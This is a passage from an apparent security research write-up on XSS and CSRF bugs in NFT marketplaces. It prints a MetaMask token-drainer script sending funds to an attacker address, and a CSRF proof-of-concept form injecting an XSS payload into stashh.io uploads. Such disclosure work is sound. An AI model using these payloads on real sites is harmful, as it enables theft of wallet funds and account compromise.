account.",{"type":19,"tag":20,"props":28780,"children":28781},{},[28782],{"type":19,"tag":1344,"props":28783,"children":28785},{"alt":7,"src":28784},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":19,"tag":20,"props":28787,"children":28788},{},[28789],{"type":24,"value":28790},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":19,"tag":7050,"props":28792,"children":28794},{"id":28793},"wheres-my-wallet",[28795],{"type":24,"value":28796},"Where's My Wallet",{"type":19,"tag":20,"props":28798,"children":28799},{},[28800],{"type":24,"value":28801},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":19,"tag":20,"props":28803,"children":28804},{},[28805],{"type":24,"value":28806},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":19,"tag":20,"props":28808,"children":28809},{},[28810],{"type":24,"value":28811},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":19,"tag":20,"props":28813,"children":28814},{},[28815],{"type":24,"value":28816},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":19,"tag":28818,"props":28819,"children":28821},"div",{"style":28820},"display:flex; align-items:center; flex-direction:column;",[28822],{"type":19,"tag":1344,"props":28823,"children":28827},{"src":28824,"alt":28825,"style":28826},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":19,"tag":20,"props":28829,"children":28830},{},[28831],{"type":24,"value":28832},"And here we can find the code used to achieve it :",{"type":19,"tag":158,"props":28834,"children":28838},{"className":28835,"code":28836,"language":28837,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n if (typeof window.ethereum === 'undefined') {\n console.error('Please install MetaMask to use this feature.');\n } else {\n ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n const fromAddress = accounts[0];\n const attackerAddress = '0x0000000000000000000000000000000000000000';\n const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n let tokenAbi = [\n {\n constant: false,\n inputs: [\n {\n name: '_to',\n type: 'address',\n },\n {\n name: '_value',\n type: 'uint256',\n },\n ],\n name: 'transfer',\n outputs: [\n {\n name: '',\n type: 'bool',\n },\n ],\n type: 'function',\n },\n ];\n\n const web3 = new Web3(window.ethereum);\n\n const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n const transactionObject = {\n from: fromAddress,\n to: contractAddress,\n data: tokenContract.methods\n .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n .encodeABI(),\n };\n\n web3.eth.sendTransaction(transactionObject);\n });\n }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[28839],{"type":19,"tag":27,"props":28840,"children":28841},{"__ignoreMap":7},[28842,28859,28904,28933,28949,29012,29047,29072,29097,29104,29124,29132,29148,29160,29168,29185,29202,29210,29217,29233,29249,29256,29264,29281,29293,29300,29316,29332,29339,29346,29363,29370,29378,29385,29432,29439,29503,29510,29530,29546,29562,29583,29654,29670,29677,29684,29722,29730,29737,29744,29751,29772],{"type":19,"tag":168,"props":28843,"children":28844},{"class":170,"line":171},[28845,28850,28855],{"type":19,"tag":168,"props":28846,"children":28847},{"style":382},[28848],{"type":24,"value":28849},"function",{"type":19,"tag":168,"props":28851,"children":28852},{"style":175},[28853],{"type":24,"value":28854}," request",{"type":19,"tag":168,"props":28856,"children":28857},{"style":212},[28858],{"type":24,"value":13184},{"type":19,"tag":168,"props":28860,"children":28861},{"class":170,"line":198},[28862,28867,28871,28876,28881,28885,28890,28895,28900],{"type":19,"tag":168,"props":28863,"children":28864},{"style":419},[28865],{"type":24,"value":28866}," if",{"type":19,"tag":168,"props":28868,"children":28869},{"style":212},[28870],{"type":24,"value":461},{"type":19,"tag":168,"props":28872,"children":28873},{"style":382},[28874],{"type":24,"value":28875},"typeof",{"type":19,"tag":168,"props":28877,"children":28878},{"style":393},[28879],{"type":24,"value":28880}," window",{"type":19,"tag":168,"props":28882,"children":28883},{"style":212},[28884],{"type":24,"value":948},{"type":19,"tag":168,"props":28886,"children":28887},{"style":393},[28888],{"type":24,"value":28889},"ethereum",{"type":19,"tag":168,"props":28891,"children":28892},{"style":399},[28893],{"type":24,"value":28894}," ===",{"type":19,"tag":168,"props":28896,"children":28897},{"style":181},[28898],{"type":24,"value":28899}," 'undefined'",{"type":19,"tag":168,"props":28901,"children":28902},{"style":212},[28903],{"type":24,"value":12250},{"type":19,"tag":168,"props":28905,"children":28906},{"class":170,"line":415},[28907,28912,28916,28920,28924,28929],{"type":19,"tag":168,"props":28908,"children":28909},{"style":393},[28910],{"type":24,"value":28911}," console",{"type":19,"tag":168,"props":28913,"children":28914},{"style":212},[28915],{"type":24,"value":948},{"type":19,"tag":168,"props":28917,"children":28918},{"style":175},[28919],{"type":24,"value":12310},{"type":19,"tag":168,"props":28921,"children":28922},{"style":212},[28923],{"type":24,"value":500},{"type":19,"tag":168,"props":28925,"children":28926},{"style":181},[28927],{"type":24,"value":28928},"'Please install MetaMask to use this feature.'",{"type":19,"tag":168,"props":28930,"children":28931},{"style":212},[28932],{"type":24,"value":1249},{"type":19,"tag":168,"props":28934,"children":28935},{"class":170,"line":450},[28936,28941,28945],{"type":19,"tag":168,"props":28937,"children":28938},{"style":212},[28939],{"type":24,"value":28940}," } ",{"type":19,"tag":168,"props":28942,"children":28943},{"style":419},[28944],{"type":24,"value":718},{"type":19,"tag":168,"props":28946,"children":28947},{"style":212},[28948],{"type":24,"value":691},{"type":19,"tag":168,"props":28950,"children":28951},{"class":170,"line":560},[28952,28957,28961,28966,28971,28976,28981,28986,28991,28996,29000,29004,29008],{"type":19,"tag":168,"props":28953,"children":28954},{"style":393},[28955],{"type":24,"value":28956}," ethereum",{"type":19,"tag":168,"props":28958,"children":28959},{"style":212},[28960],{"type":24,"value":948},{"type":19,"tag":168,"props":28962,"children":28963},{"style":175},[28964],{"type":24,"value":28965},"request",{"type":19,"tag":168,"props":28967,"children":28968},{"style":212},[28969],{"type":24,"value":28970},"({ ",{"type":19,"tag":168,"props":28972,"children":28973},{"style":393},[28974],{"type":24,"value":28975},"method:",{"type":19,"tag":168,"props":28977,"children":28978},{"style":181},[28979],{"type":24,"value":28980}," 'eth_requestAccounts'",{"type":19,"tag":168,"props":28982,"children":28983},{"style":212},[28984],{"type":24,"value":28985}," }).",{"type":19,"tag":168,"props":28987,"children":28988},{"style":175},[28989],{"type":24,"value":28990},"then",{"type":19,"tag":168,"props":28992,"children":28993},{"style":212},[28994],{"type":24,"value":28995},"((",{"type":19,"tag":168,"props":28997,"children":28998},{"style":393},[28999],{"type":24,"value":12121},{"type":19,"tag":168,"props":29001,"children":29002},{"style":212},[29003],{"type":24,"value":481},{"type":19,"tag":168,"props":29005,"children":29006},{"style":382},[29007],{"type":24,"value":12268},{"type":19,"tag":168,"props":29009,"children":29010},{"style":212},[29011],{"type":24,"value":691},{"type":19,"tag":168,"props":29013,"children":29014},{"class":170,"line":666},[29015,29020,29025,29029,29034,29038,29042],{"type":19,"tag":168,"props":29016,"children":29017},{"style":382},[29018],{"type":24,"value":29019}," const",{"type":19,"tag":168,"props":29021,"children":29022},{"style":393},[29023],{"type":24,"value":29024}," fromAddress",{"type":19,"tag":168,"props":29026,"children":29027},{"style":399},[29028],{"type":24,"value":402},{"type":19,"tag":168,"props":29030,"children":29031},{"style":393},[29032],{"type":24,"value":29033}," accounts",{"type":19,"tag":168,"props":29035,"children":29036},{"style":212},[29037],{"type":24,"value":1152},{"type":19,"tag":168,"props":29039,"children":29040},{"style":192},[29041],{"type":24,"value":1452},{"type":19,"tag":168,"props":29043,"children":29044},{"style":212},[29045],{"type":24,"value":29046},"];\n",{"type":19,"tag":168,"props":29048,"children":29049},{"class":170,"line":694},[29050,29054,29059,29063,29068],{"type":19,"tag":168,"props":29051,"children":29052},{"style":382},[29053],{"type":24,"value":29019},{"type":19,"tag":168,"props":29055,"children":29056},{"style":393},[29057],{"type":24,"value":29058}," attackerAddress",{"type":19,"tag":168,"props":29060,"children":29061},{"style":399},[29062],{"type":24,"value":402},{"type":19,"tag":168,"props":29064,"children":29065},{"style":181},[29066],{"type":24,"value":29067}," '0x0000000000000000000000000000000000000000'",{"type":19,"tag":168,"props":29069,"children":29070},{"style":212},[29071],{"type":24,"value":412},{"type":19,"tag":168,"props":29073,"children":29074},{"class":170,"line":707},[29075,29079,29084,29088,29093],{"type":19,"tag":168,"props":29076,"children":29077},{"style":382},[29078],{"type":24,"value":29019},{"type":19,"tag":168,"props":29080,"children":29081},{"style":393},[29082],{"type":24,"value":29083}," contractAddress",{"type":19,"tag":168,"props":29085,"children":29086},{"style":399},[29087],{"type":24,"value":402},{"type":19,"tag":168,"props":29089,"children":29090},{"style":181},[29091],{"type":24,"value":29092}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":19,"tag":168,"props":29094,"children":29095},{"style":212},[29096],{"type":24,"value":412},{"type":19,"tag":168,"props":29098,"children":29099},{"class":170,"line":725},[29100],{"type":19,"tag":168,"props":29101,"children":29102},{"emptyLinePlaceholder":14},[29103],{"type":24,"value":1093},{"type":19,"tag":168,"props":29105,"children":29106},{"class":170,"line":746},[29107,29111,29116,29120],{"type":19,"tag":168,"props":29108,"children":29109},{"style":382},[29110],{"type":24,"value":5512},{"type":19,"tag":168,"props":29112,"children":29113},{"style":393},[29114],{"type":24,"value":29115}," tokenAbi",{"type":19,"tag":168,"props":29117,"children":29118},{"style":399},[29119],{"type":24,"value":402},{"type":19,"tag":168,"props":29121,"children":29122},{"style":212},[29123],{"type":24,"value":23089},{"type":19,"tag":168,"props":29125,"children":29126},{"class":170,"line":755},[29127],{"type":19,"tag":168,"props":29128,"children":29129},{"style":212},[29130],{"type":24,"value":29131}," {\n",{"type":19,"tag":168,"props":29133,"children":29134},{"class":170,"line":1008},[29135,29140,29144],{"type":19,"tag":168,"props":29136,"children":29137},{"style":393},[29138],{"type":24,"value":29139}," constant:",{"type":19,"tag":168,"props":29141,"children":29142},{"style":382},[29143],{"type":24,"value":6497},{"type":19,"tag":168,"props":29145,"children":29146},{"style":212},[29147],{"type":24,"value":915},{"type":19,"tag":168,"props":29149,"children":29150},{"class":170,"line":1025},[29151,29156],{"type":19,"tag":168,"props":29152,"children":29153},{"style":393},[29154],{"type":24,"value":29155}," inputs:",{"type":19,"tag":168,"props":29157,"children":29158},{"style":212},[29159],{"type":24,"value":23089},{"type":19,"tag":168,"props":29161,"children":29162},{"class":170,"line":1042},[29163],{"type":19,"tag":168,"props":29164,"children":29165},{"style":212},[29166],{"type":24,"value":29167}," {\n",{"type":19,"tag":168,"props":29169,"children":29170},{"class":170,"line":1055},[29171,29176,29181],{"type":19,"tag":168,"props":29172,"children":29173},{"style":393},[29174],{"type":24,"value":29175}," name:",{"type":19,"tag":168,"props":29177,"children":29178},{"style":181},[29179],{"type":24,"value":29180}," '_to'",{"type":19,"tag":168,"props":29182,"children":29183},{"style":212},[29184],{"type":24,"value":915},{"type":19,"tag":168,"props":29186,"children":29187},{"class":170,"line":1064},[29188,29193,29198],{"type":19,"tag":168,"props":29189,"children":29190},{"style":393},[29191],{"type":24,"value":29192}," type:",{"type":19,"tag":168,"props":29194,"children":29195},{"style":181},[29196],{"type":24,"value":29197}," 'address'",{"type":19,"tag":168,"props":29199,"children":29200},{"style":212},[29201],{"type":24,"value":915},{"type":19,"tag":168,"props":29203,"children":29204},{"class":170,"line":1087},[29205],{"type":19,"tag":168,"props":29206,"children":29207},{"style":212},[29208],{"type":24,"value":29209}," },\n",{"type":19,"tag":168,"props":29211,"children":29212},{"class":170,"line":1096},[29213],{"type":19,"tag":168,"props":29214,"children":29215},{"style":212},[29216],{"type":24,"value":29167},{"type":19,"tag":168,"props":29218,"children":29219},{"class":170,"line":1105},[29220,29224,29229],{"type":19,"tag":168,"props":29221,"children":29222},{"style":393},[29223],{"type":24,"value":29175},{"type":19,"tag":168,"props":29225,"children":29226},{"style":181},[29227],{"type":24,"value":29228}," '_value'",{"type":19,"tag":168,"props":29230,"children":29231},{"style":212},[29232],{"type":24,"value":915},{"type":19,"tag":168,"props":29234,"children":29235},{"class":170,"line":1174},[29236,29240,29245],{"type":19,"tag":168,"props":29237,"children":29238},{"style":393},[29239],{"type":24,"value":29192},{"type":19,"tag":168,"props":29241,"children":29242},{"style":181},[29243],{"type":24,"value":29244}," 'uint256'",{"type":19,"tag":168,"props":29246,"children":29247},{"style":212},[29248],{"type":24,"value":915},{"type":19,"tag":168,"props":29250,"children":29251},{"class":170,"line":1182},[29252],{"type":19,"tag":168,"props":29253,"children":29254},{"style":212},[29255],{"type":24,"value":29209},{"type":19,"tag":168,"props":29257,"children":29258},{"class":170,"line":1212},[29259],{"type":19,"tag":168,"props":29260,"children":29261},{"style":212},[29262],{"type":24,"value":29263}," ],\n",{"type":19,"tag":168,"props":29265,"children":29266},{"class":170,"line":1220},[29267,29272,29277],{"type":19,"tag":168,"props":29268,"children":29269},{"style":393},[29270],{"type":24,"value":29271}," name:",{"type":19,"tag":168,"props":29273,"children":29274},{"style":181},[29275],{"type":24,"value":29276}," 'transfer'",{"type":19,"tag":168,"props":29278,"children":29279},{"style":212},[29280],{"type":24,"value":915},{"type":19,"tag":168,"props":29282,"children":29283},{"class":170,"line":1252},[29284,29289],{"type":19,"tag":168,"props":29285,"children":29286},{"style":393},[29287],{"type":24,"value":29288}," outputs:",{"type":19,"tag":168,"props":29290,"children":29291},{"style":212},[29292],{"type":24,"value":23089},{"type":19,"tag":168,"props":29294,"children":29295},{"class":170,"line":1260},[29296],{"type":19,"tag":168,"props":29297,"children":29298},{"style":212},[29299],{"type":24,"value":29167},{"type":19,"tag":168,"props":29301,"children":29302},{"class":170,"line":1320},[29303,29307,29312],{"type":19,"tag":168,"props":29304,"children":29305},{"style":393},[29306],{"type":24,"value":29175},{"type":19,"tag":168,"props":29308,"children":29309},{"style":181},[29310],{"type":24,"value":29311}," ''",{"type":19,"tag":168,"props":29313,"children":29314},{"style":212},[29315],{"type":24,"value":915},{"type":19,"tag":168,"props":29317,"children":29318},{"class":170,"line":6486},[29319,29323,29328],{"type":19,"tag":168,"props":29320,"children":29321},{"style":393},[29322],{"type":24,"value":29192},{"type":19,"tag":168,"props":29324,"children":29325},{"style":181},[29326],{"type":24,"value":29327}," 'bool'",{"type":19,"tag":168,"props":29329,"children":29330},{"style":212},[29331],{"type":24,"value":915},{"type":19,"tag":168,"props":29333,"children":29334},{"class":170,"line":6504},[29335],{"type":19,"tag":168,"props":29336,"children":29337},{"style":212},[29338],{"type":24,"value":29209},{"type":19,"tag":168,"props":29340,"children":29341},{"class":170,"line":6549},[29342],{"type":19,"tag":168,"props":29343,"children":29344},{"style":212},[29345],{"type":24,"value":29263},{"type":19,"tag":168,"props":29347,"children":29348},{"class":170,"line":6655},[29349,29354,29359],{"type":19,"tag":168,"props":29350,"children":29351},{"style":393},[29352],{"type":24,"value":29353}," type:",{"type":19,"tag":168,"props":29355,"children":29356},{"style":181},[29357],{"type":24,"value":29358}," 'function'",{"type":19,"tag":168,"props":29360,"children":29361},{"style":212},[29362],{"type":24,"value":915},{"type":19,"tag":168,"props":29364,"children":29365},{"class":170,"line":20965},[29366],{"type":19,"tag":168,"props":29367,"children":29368},{"style":212},[29369],{"type":24,"value":22841},{"type":19,"tag":168,"props":29371,"children":29372},{"class":170,"line":21000},[29373],{"type":19,"tag":168,"props":29374,"children":29375},{"style":212},[29376],{"type":24,"value":29377}," ];\n",{"type":19,"tag":168,"props":29379,"children":29380},{"class":170,"line":21008},[29381],{"type":19,"tag":168,"props":29382,"children":29383},{"emptyLinePlaceholder":14},[29384],{"type":24,"value":1093},{"type":19,"tag":168,"props":29386,"children":29387},{"class":170,"line":21016},[29388,29392,29397,29401,29406,29411,29415,29420,29424,29428],{"type":19,"tag":168,"props":29389,"children":29390},{"style":382},[29391],{"type":24,"value":29019},{"type":19,"tag":168,"props":29393,"children":29394},{"style":393},[29395],{"type":24,"value":29396}," web3",{"type":19,"tag":168,"props":29398,"children":29399},{"style":399},[29400],{"type":24,"value":402},{"type":19,"tag":168,"props":29402,"children":29403},{"style":382},[29404],{"type":24,"value":29405}," new",{"type":19,"tag":168,"props":29407,"children":29408},{"style":175},[29409],{"type":24,"value":29410}," Web3",{"type":19,"tag":168,"props":29412,"children":29413},{"style":212},[29414],{"type":24,"value":500},{"type":19,"tag":168,"props":29416,"children":29417},{"style":393},[29418],{"type":24,"value":29419},"window",{"type":19,"tag":168,"props":29421,"children":29422},{"style":212},[29423],{"type":24,"value":948},{"type":19,"tag":168,"props":29425,"children":29426},{"style":393},[29427],{"type":24,"value":28889},{"type":19,"tag":168,"props":29429,"children":29430},{"style":212},[29431],{"type":24,"value":1249},{"type":19,"tag":168,"props":29433,"children":29434},{"class":170,"line":21025},[29435],{"type":19,"tag":168,"props":29436,"children":29437},{"emptyLinePlaceholder":14},[29438],{"type":24,"value":1093},{"type":19,"tag":168,"props":29440,"children":29441},{"class":170,"line":21067},[29442,29446,29451,29455,29459,29463,29467,29472,29476,29481,29485,29490,29494,29499],{"type":19,"tag":168,"props":29443,"children":29444},{"style":382},[29445],{"type":24,"value":29019},{"type":19,"tag":168,"props":29447,"children":29448},{"style":393},[29449],{"type":24,"value":29450}," tokenContract",{"type":19,"tag":168,"props":29452,"children":29453},{"style":399},[29454],{"type":24,"value":402},{"type":19,"tag":168,"props":29456,"children":29457},{"style":382},[29458],{"type":24,"value":29405},{"type":19,"tag":168,"props":29460,"children":29461},{"style":393},[29462],{"type":24,"value":29396},{"type":19,"tag":168,"props":29464,"children":29465},{"style":212},[29466],{"type":24,"value":948},{"type":19,"tag":168,"props":29468,"children":29469},{"style":393},[29470],{"type":24,"value":29471},"eth",{"type":19,"tag":168,"props":29473,"children":29474},{"style":212},[29475],{"type":24,"value":948},{"type":19,"tag":168,"props":29477,"children":29478},{"style":175},[29479],{"type":24,"value":29480},"Contract",{"type":19,"tag":168,"props":29482,"children":29483},{"style":212},[29484],{"type":24,"value":500},{"type":19,"tag":168,"props":29486,"children":29487},{"style":393},[29488],{"type":24,"value":29489},"tokenAbi",{"type":19,"tag":168,"props":29491,"children":29492},{"style":212},[29493],{"type":24,"value":471},{"type":19,"tag":168,"props":29495,"children":29496},{"style":393},[29497],{"type":24,"value":29498},"contractAddress",{"type":19,"tag":168,"props":29500,"children":29501},{"style":212},[29502],{"type":24,"value":1249},{"type":19,"tag":168,"props":29504,"children":29505},{"class":170,"line":21100},[29506],{"type":19,"tag":168,"props":29507,"children":29508},{"emptyLinePlaceholder":14},[29509],{"type":24,"value":1093},{"type":19,"tag":168,"props":29511,"children":29512},{"class":170,"line":21108},[29513,29517,29522,29526],{"type":19,"tag":168,"props":29514,"children":29515},{"style":382},[29516],{"type":24,"value":29019},{"type":19,"tag":168,"props":29518,"children":29519},{"style":393},[29520],{"type":24,"value":29521}," transactionObject",{"type":19,"tag":168,"props":29523,"children":29524},{"style":399},[29525],{"type":24,"value":402},{"type":19,"tag":168,"props":29527,"children":29528},{"style":212},[29529],{"type":24,"value":691},{"type":19,"tag":168,"props":29531,"children":29532},{"class":170,"line":21116},[29533,29538,29542],{"type":19,"tag":168,"props":29534,"children":29535},{"style":393},[29536],{"type":24,"value":29537}," from:",{"type":19,"tag":168,"props":29539,"children":29540},{"style":393},[29541],{"type":24,"value":29024},{"type":19,"tag":168,"props":29543,"children":29544},{"style":212},[29545],{"type":24,"value":915},{"type":19,"tag":168,"props":29547,"children":29548},{"class":170,"line":21125},[29549,29554,29558],{"type":19,"tag":168,"props":29550,"children":29551},{"style":393},[29552],{"type":24,"value":29553}," to:",{"type":19,"tag":168,"props":29555,"children":29556},{"style":393},[29557],{"type":24,"value":29083},{"type":19,"tag":168,"props":29559,"children":29560},{"style":212},[29561],{"type":24,"value":915},{"type":19,"tag":168,"props":29563,"children":29564},{"class":170,"line":21201},[29565,29570,29574,29578],{"type":19,"tag":168,"props":29566,"children":29567},{"style":393},[29568],{"type":24,"value":29569}," data:",{"type":19,"tag":168,"props":29571,"children":29572},{"style":393},[29573],{"type":24,"value":29450},{"type":19,"tag":168,"props":29575,"children":29576},{"style":212},[29577],{"type":24,"value":948},{"type":19,"tag":168,"props":29579,"children":29580},{"style":393},[29581],{"type":24,"value":29582},"methods\n",{"type":19,"tag":168,"props":29584,"children":29585},{"class":170,"line":21234},[29586,29591,29596,29600,29605,29609,29614,29618,29623,29627,29632,29636,29641,29645,29650],{"type":19,"tag":168,"props":29587,"children":29588},{"style":212},[29589],{"type":24,"value":29590}," .",{"type":19,"tag":168,"props":29592,"children":29593},{"style":175},[29594],{"type":24,"value":29595},"transfer",{"type":19,"tag":168,"props":29597,"children":29598},{"style":212},[29599],{"type":24,"value":500},{"type":19,"tag":168,"props":29601,"children":29602},{"style":393},[29603],{"type":24,"value":29604},"attackerAddress",{"type":19,"tag":168,"props":29606,"children":29607},{"style":212},[29608],{"type":24,"value":471},{"type":19,"tag":168,"props":29610,"children":29611},{"style":393},[29612],{"type":24,"value":29613},"web3",{"type":19,"tag":168,"props":29615,"children":29616},{"style":212},[29617],{"type":24,"value":948},{"type":19,"tag":168,"props":29619,"children":29620},{"style":393},[29621],{"type":24,"value":29622},"utils",{"type":19,"tag":168,"props":29624,"children":29625},{"style":212},[29626],{"type":24,"value":948},{"type":19,"tag":168,"props":29628,"children":29629},{"style":175},[29630],{"type":24,"value":29631},"toWei",{"type":19,"tag":168,"props":29633,"children":29634},{"style":212},[29635],{"type":24,"value":500},{"type":19,"tag":168,"props":29637,"children":29638},{"style":181},[29639],{"type":24,"value":29640},"'100000000'",{"type":19,"tag":168,"props":29642,"children":29643},{"style":212},[29644],{"type":24,"value":471},{"type":19,"tag":168,"props":29646,"children":29647},{"style":181},[29648],{"type":24,"value":29649},"'ether'",{"type":19,"tag":168,"props":29651,"children":29652},{"style":212},[29653],{"type":24,"value":17166},{"type":19,"tag":168,"props":29655,"children":29656},{"class":170,"line":21242},[29657,29661,29666],{"type":19,"tag":168,"props":29658,"children":29659},{"style":212},[29660],{"type":24,"value":29590},{"type":19,"tag":168,"props":29662,"children":29663},{"style":175},[29664],{"type":24,"value":29665},"encodeABI",{"type":19,"tag":168,"props":29667,"children":29668},{"style":212},[29669],{"type":24,"value":898},{"type":19,"tag":168,"props":29671,"children":29672},{"class":170,"line":21250},[29673],{"type":19,"tag":168,"props":29674,"children":29675},{"style":212},[29676],{"type":24,"value":6359},{"type":19,"tag":168,"props":29678,"children":29679},{"class":170,"line":21287},[29680],{"type":19,"tag":168,"props":29681,"children":29682},{"emptyLinePlaceholder":14},[29683],{"type":24,"value":1093},{"type":19,"tag":168,"props":29685,"children":29686},{"class":170,"line":21300},[29687,29692,29696,29700,29704,29709,29713,29718],{"type":19,"tag":168,"props":29688,"children":29689},{"style":393},[29690],{"type":24,"value":29691}," web3",{"type":19,"tag":168,"props":29693,"children":29694},{"style":212},[29695],{"type":24,"value":948},{"type":19,"tag":168,"props":29697,"children":29698},{"style":393},[29699],{"type":24,"value":29471},{"type":19,"tag":168,"props":29701,"children":29702},{"style":212},[29703],{"type":24,"value":948},{"type":19,"tag":168,"props":29705,"children":29706},{"style":175},[29707],{"type":24,"value":29708},"sendTransaction",{"type":19,"tag":168,"props":29710,"children":29711},{"style":212},[29712],{"type":24,"value":500},{"type":19,"tag":168,"props":29714,"children":29715},{"style":393},[29716],{"type":24,"value":29717},"transactionObject",{"type":19,"tag":168,"props":29719,"children":29720},{"style":212},[29721],{"type":24,"value":1249},{"type":19,"tag":168,"props":29723,"children":29724},{"class":170,"line":21313},[29725],{"type":19,"tag":168,"props":29726,"children":29727},{"style":212},[29728],{"type":24,"value":29729}," });\n",{"type":19,"tag":168,"props":29731,"children":29732},{"class":170,"line":21326},[29733],{"type":19,"tag":168,"props":29734,"children":29735},{"style":212},[29736],{"type":24,"value":3306},{"type":19,"tag":168,"props":29738,"children":29739},{"class":170,"line":21380},[29740],{"type":19,"tag":168,"props":29741,"children":29742},{"style":212},[29743],{"type":24,"value":1326},{"type":19,"tag":168,"props":29745,"children":29746},{"class":170,"line":21389},[29747],{"type":19,"tag":168,"props":29748,"children":29749},{"emptyLinePlaceholder":14},[29750],{"type":24,"value":1093},{"type":19,"tag":168,"props":29752,"children":29754},{"class":170,"line":29753},51,[29755,29759,29763,29768],{"type":19,"tag":168,"props":29756,"children":29757},{"style":382},[29758],{"type":24,"value":16937},{"type":19,"tag":168,"props":29760,"children":29761},{"style":212},[29762],{"type":24,"value":500},{"type":19,"tag":168,"props":29764,"children":29765},{"style":181},[29766],{"type":24,"value":29767},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":19,"tag":168,"props":29769,"children":29770},{"style":212},[29771],{"type":24,"value":1249},{"type":19,"tag":168,"props":29773,"children":29775},{"class":170,"line":29774},52,[29776,29781,29785,29789,29793,29798],{"type":19,"tag":168,"props":29777,"children":29778},{"style":175},[29779],{"type":24,"value":29780},"setTimeout",{"type":19,"tag":168,"props":29782,"children":29783},{"style":212},[29784],{"type":24,"value":500},{"type":19,"tag":168,"props":29786,"children":29787},{"style":393},[29788],{"type":24,"value":28965},{"type":19,"tag":168,"props":29790,"children":29791},{"style":212},[29792],{"type":24,"value":471},{"type":19,"tag":168,"props":29794,"children":29795},{"style":192},[29796],{"type":24,"value":29797},"1e3",{"type":19,"tag":168,"props":29799,"children":29800},{"style":212},[29801],{"type":24,"value":1249},{"type":19,"tag":20,"props":29803,"children":29804},{},[29805,29810],{"type":19,"tag":51,"props":29806,"children":29807},{},[29808],{"type":24,"value":29809},"CSRF & XSS",{"type":24,"value":29811},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":19,"tag":20,"props":29813,"children":29814},{},[29815,29817,29822],{"type":24,"value":29816},"Our attention was drawn to ",{"type":19,"tag":269,"props":29818,"children":29820},{"href":28752,"rel":29819},[273],[29821],{"type":24,"value":28756},{"type":24,"value":29823},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":19,"tag":20,"props":29825,"children":29826},{},[29827],{"type":19,"tag":1344,"props":29828,"children":29830},{"alt":7,"src":29829},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":19,"tag":20,"props":29832,"children":29833},{},[29834],{"type":24,"value":29835},"and here there is the code:",{"type":19,"tag":158,"props":29837,"children":29839},{"className":28835,"code":29838,"language":28837,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n })()\n\n \u003C/script>\n\u003C/html>\n",[29840],{"type":19,"tag":27,"props":29841,"children":29842},{"__ignoreMap":7},[29843,29860,29877,29911,29997,30054,30253,30294,30310,30326,30333,30348,30355,30367,30426,30433,30496,30525,30563,30570,30608,30621,30628,30643],{"type":19,"tag":168,"props":29844,"children":29845},{"class":170,"line":171},[29846,29851,29856],{"type":19,"tag":168,"props":29847,"children":29849},{"style":29848},"--shiki-default:#808080",[29850],{"type":24,"value":3240},{"type":19,"tag":168,"props":29852,"children":29853},{"style":382},[29854],{"type":24,"value":29855},"html",{"type":19,"tag":168,"props":29857,"children":29858},{"style":29848},[29859],{"type":24,"value":3427},{"type":19,"tag":168,"props":29861,"children":29862},{"class":170,"line":198},[29863,29868,29873],{"type":19,"tag":168,"props":29864,"children":29865},{"style":29848},[29866],{"type":24,"value":29867}," \u003C",{"type":19,"tag":168,"props":29869,"children":29870},{"style":382},[29871],{"type":24,"value":29872},"body",{"type":19,"tag":168,"props":29874,"children":29875},{"style":29848},[29876],{"type":24,"value":3427},{"type":19,"tag":168,"props":29878,"children":29879},{"class":170,"line":415},[29880,29884,29889,29893,29898,29903,29907],{"type":19,"tag":168,"props":29881,"children":29882},{"style":29848},[29883],{"type":24,"value":29867},{"type":19,"tag":168,"props":29885,"children":29886},{"style":382},[29887],{"type":24,"value":29888},"script",{"type":19,"tag":168,"props":29890,"children":29891},{"style":29848},[29892],{"type":24,"value":7905},{"type":19,"tag":168,"props":29894,"children":29895},{"style":212},[29896],{"type":24,"value":29897},"history.pushState('', '', '/')",{"type":19,"tag":168,"props":29899,"children":29900},{"style":29848},[29901],{"type":24,"value":29902},"\u003C/",{"type":19,"tag":168,"props":29904,"children":29905},{"style":382},[29906],{"type":24,"value":29888},{"type":19,"tag":168,"props":29908,"children":29909},{"style":29848},[29910],{"type":24,"value":3427},{"type":19,"tag":168,"props":29912,"children":29913},{"class":170,"line":450},[29914,29919,29924,29929,29933,29938,29943,29947,29952,29956,29960,29965,29970,29974,29979,29984,29988,29993],{"type":19,"tag":168,"props":29915,"children":29916},{"style":29848},[29917],{"type":24,"value":29918}," 